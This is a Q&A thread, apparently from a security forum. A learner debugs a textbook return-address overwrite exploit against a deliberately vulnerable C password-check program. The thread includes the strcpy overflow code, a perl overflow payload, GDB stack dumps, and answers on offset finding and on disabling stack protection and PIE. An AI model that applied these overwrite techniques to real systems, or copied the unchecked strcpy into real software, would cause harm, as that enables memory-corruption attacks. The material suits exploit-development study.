4

I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-stack-protector, but nothing seems to change the behavior.

Code (from "Hacking the Art of Exploitation", 2nd Edition, Page 125):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
        char password_buffer[16];
        int auth_flag = 0;

        strcpy(password_buffer, password);

        if(strcmp(password_buffer, "brillig") == 0)
                auth_flag = 1;
        if(strcmp(password_buffer, "outgrabe") == 0)
                auth_flag = 1;

        return auth_flag;
}

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <password>\n", argv[0]);
                exit(0);
        }
        if(check_authentication(argv[1])) {
                printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                printf("      Access Granted.\n");
                printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        } else {
                printf("\nAccess Denied.\n");
   }
}

Running in the debugger:

run $(perl -e 'print "\x97\x62\x55\x56"x8')

This address is to come in at the start of "Access Granted". See below disassembly at 0x56556297 <+82>: add esp,0x4:

   0x5655627e <+57>:    push   eax
   0x5655627f <+58>:    call   0x565561d9 <check_authentication>
   0x56556284 <+63>:    add    esp,0x4
   0x56556287 <+66>:    test   eax,eax
   0x56556289 <+68>:    je     0x565562ba <main+117>
   0x5655628b <+70>:    lea    eax,[ebx-0x1fd1]
   0x56556291 <+76>:    push   eax
   0x56556292 <+77>:    call   0x56556060 <puts@plt>
   0x56556297 <+82>:    add    esp,0x4
   0x5655629a <+85>:    lea    eax,[ebx-0x1fb4]
   0x565562a0 <+91>:    push   eax
   0x565562a1 <+92>:    call   0x56556060 <puts@plt>
   0x565562a6 <+97>:    add    esp,0x4
   0x565562a9 <+100>:   lea    eax,[ebx-0x1f9e]
   0x565562af <+106>:   push   eax
   0x565562b0 <+107>:   call   0x56556060 <puts@plt>

Stack before string copy:

(gdb) next
9       strcpy(password_buffer, password);
(gdb) x/12x $esp
0xffffd190: 0x00000002  0xffffd264  0xffffd270  0x565562fd
0xffffd1a0: 0x00000000  0x56559000  0xffffd1b8  0x56556284
0xffffd1b0: 0xffffd429  0x00000000  0x00000000  0xf7dd6e46
(gdb) 

Stack after string copy:

(gdb) next
11      if(strcmp(password_buffer, "brillig") == 0)
(gdb) x/12x $esp
0xffffd190: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1a0: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1b0: 0xffffd400  0x00000000  0x00000000  0xf7dd6e46
(gdb) 

... and the crash with backtrace and value of instruction pointer.

(gdb) cont
Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0xfdabe850 in ?? ()
    (gdb) bt
    #0  0xfdabe850 in ?? ()
    #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd)
        at auth_overflow2.c:26
    Backtrace stopped: previous frame inner to this frame (corrupt stack?)
    (gdb) i r $eip
    eip            0xfdabe850          0xfdabe850
    (gdb) 

Where does this value of "eip" come from? Is there some advanced Linux protection I did not (or cannot) turn off?

I am running on:

tester@Test:/$ uname -a
Linux Test 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux
5
  • In my opinion this question is out of scope here. I suggest to move it to SO.
    – mentallurg
    Mar 18, 2021 at 19:52
  • Where did you get \x97\x62\x55\x56 from? Are you sure that's where you want to jump to? I suggest stepping through until the crash, you will see what is happening. Mar 18, 2021 at 22:35
  • @mentallurg I may move this over to SO in a few days (especially if it's voted closed!)
    – Stone True
    Mar 19, 2021 at 14:40
  • @multithr3at3d I added the disassembly showing where the return address comes from. You can see from the backtrace above that the code makes it back to 0x565562a6, but then tries to go to 0xfdabe850, which is gibberish. I have replicated this behavior by stepping each instruction. The code goes back to main, steps for a while, but something is wiping eip after 0x565562a6 (I think).
    – Stone True
    Mar 19, 2021 at 14:43
  • Asked on SO at stackoverflow.com/questions/66922539/…
    – Stone True
    Apr 2, 2021 at 16:48

2 Answers 2

1

There are a few things going on here, but lets start with your decompiled output:

   0x5655627e <+57>:    push   eax
   0x5655627f <+58>:    call   0x565561d9 <check_authentication>
   0x56556284 <+63>:    add    esp,0x4
   0x56556287 <+66>:    test   eax,eax
   0x56556289 <+68>:    je     0x565562ba <main+117>
   0x5655628b <+70>:    lea    eax,[ebx-0x1fd1]
   0x56556291 <+76>:    push   eax
   0x56556292 <+77>:    call   0x56556060 <puts@plt>
   0x56556297 <+82>:    add    esp,0x4
   0x5655629a <+85>:    lea    eax,[ebx-0x1fb4]
   0x565562a0 <+91>:    push   eax
   0x565562a1 <+92>:    call   0x56556060 <puts@plt>
   0x565562a6 <+97>:    add    esp,0x4
   0x565562a9 <+100>:   lea    eax,[ebx-0x1f9e]
   0x565562af <+106>:   push   eax
   0x565562b0 <+107>:   call   0x56556060 <puts@plt>

The return address you're writing to the stack is: 0x56556297 This decompiles to 0x56556297 <+82>: add esp,0x4 which increments the value of ESP. This then shifts the stack values and makes you run a weird machine which is likely causing you to end up with the corrupt memory stack trace showing that 0x565562a6 called a stack address 0xfdabe850 due to the stack offsets being wrong it has popped a value off the stack that points to uninitialized memory (hence the SIGSEGV).

(gdb) cont
Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0xfdabe850 in ?? ()
    (gdb) bt
    #0  0xfdabe850 in ?? ()
    #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd)

Instead you should return to the address that makes the call to print the text:

0x565562a1 <+92>:    call   0x56556060 <puts@plt>

On a sidenote this is a great example to investigate using memory corruption to overwrite same scope variables like an authentication integer f.ex without overwriting EIP, which is very useful when there are mitigation such as stack cookies present.

Good luck with your learning

0

For starters, no, that is not an exploit mitigation you are seeing. It is likely just due to an issue with your exploit. To explain the following:

 #0  0xfdabe850 in ?? ()
 #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd

GDB is building the stack trace based on the values that it sees in memory. With a buffer overflow where you are overwriting things you aren't supposed to, it is likely that the stack got corrupted, and that's what GDB is showing.

The issue with your exploit may be that your payload is not long enough. It's still long enough to corrupt the stack and cause a crash, but not long enough to control the instruction pointer how you want to. To determine the correct offset, I did (using GDB+GEF):

gef➤  pattern create 100                                                                                                                                                                                           
[+] Generating a pattern of 100 bytes                                                                                                                                                                              
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa     
[+] Saved as '$_gef0' 
gef➤ gef run $_gef0
Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
...
gef➤  pattern search $eip
[+] Searching '$eip'
[+] Found at offset 32 (little-endian search) likely
[+] Found at offset 29 (big-endian search)

That tells me that the instruction pointer (EIP) is set from whatever is in bytes 32-35 (inclusive) of your payload. By writing "\x97\x62\x55\x56"x8 as you currently are, you are writing just up to this point (bytes 28-31), but not far enough. So, changing your multiplier to x9 may be enough to solve the issue.

A side note, if you are practicing a simple exploit like this, you are probably going to want to disable PIE when compiling the binary (gcc -fno-pie --no-pie), since it will cause the program addresses to be randomized every time you run it when outside of GDB. \x97\x62\x55\x56 may be the correct address while in the debugger, but that is unlikely to stay the same elsewhere.

* It's possible these differences come from differences between our machines/compilation. But I compiled the code with gcc -m32 -fno-stack-protector.

1
  • Changing the number of overwrites does not seem to impact the behavior; via stepping, I can confirm that the code is returning to the overwritten location, THEN it crashes after a few instructions.
    – Stone True
    Apr 2, 2021 at 16:43

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .